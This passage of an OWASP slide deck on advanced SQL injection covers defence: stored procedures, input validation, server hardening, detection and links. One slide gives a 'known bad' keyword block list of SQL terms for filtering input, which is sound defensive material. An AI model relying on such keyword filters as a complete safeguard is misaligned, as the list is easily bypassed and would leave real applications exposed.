    86. 86. 86OWASPSQL Injection DefenseIt is quite simple: input validationThe real challenge is making best practicesconsistent through all your codeEnforce "strong design" in new applicationsYou should audit your existing websites and sourcecodeEven if you have an air tight design, harden yourservers
    87. 87. 87OWASPStrong DesignDefine an easy "secure" path to querying dataUse stored procedures for interacting with databaseCall stored procedures through a parameterized APIValidate all input through generic routinesUse the principle of "least privilege" Define several roles, one for each kind of query
    88. 88. 88OWASPInput ValidationDefine data types for each fieldImplement stringent "allow only good" filters If the input is supposed to be numeric, use a numericvariable in your script to store itReject bad input rather than attempting to escape ormodify itImplement stringent "known bad" filters For example: reject "select", "insert", "update", "shutdown","delete", "drop", "--", ""
    89. 89. 89OWASPHarden the Server1. Run DB as a low-privilege user account2. Remove unused stored procedures and functionality orrestrict access to administrators3. Change permissions and remove "public" access tosystem objects4. Audit password strength for all user accounts5. Remove pre-authenticated linked servers6. Remove unused network protocols7. Firewall the server so that only trusted clients canconnect to it (typically only: administrative network, webserver and backup server)
    90. 90. 90OWASPDetection and DissuasionYou may want to react to SQL injection attempts by:Logging the attemptsSending email alertsBlocking the offending IPSending back intimidating error messages: "WARNING: Improper use of this application has been detected. Apossible attack was identified. Legal actions will be taken." Check with your lawyers for proper wordingThis should be coded into your validation scripts
    91. 91. 91OWASPConclusionSQL Injection is a fascinating and dangerousvulnerabilityAll programming languages and all SQLdatabases are potentially vulnerableProtecting against it requiresstrong designcorrect input validationhardening
    92. 92. 92OWASPLinksA lot of SQL Injection related papershttp://www.nextgenss.com/papers.htmhttp://www.spidynamics.com/support/whitepapers/http://www.appsecinc.com/techdocs/whitepapers.htmlhttp://www.atstake.com/research/advisoriesOther resourceshttp://www.owasp.orghttp://www.sqlsecurity.comhttp://www.securityfocus.com/infocus/1768
    93. 93. Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this documentunder the terms of the OWASP License.The OWASP FoundationOWASPhttp://www.owasp.orgAdvanced SQL InjectionVictor Chapelavictor@sm4rt.com
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.

    ×